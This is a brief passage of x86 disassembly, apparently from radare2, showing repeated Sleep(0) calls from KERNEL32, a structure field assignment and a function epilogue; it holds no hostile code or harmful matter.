call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
mov dword [eax + 8], ecx
jmp 0x401c7d
mov esp, ebp
pop ebp
ret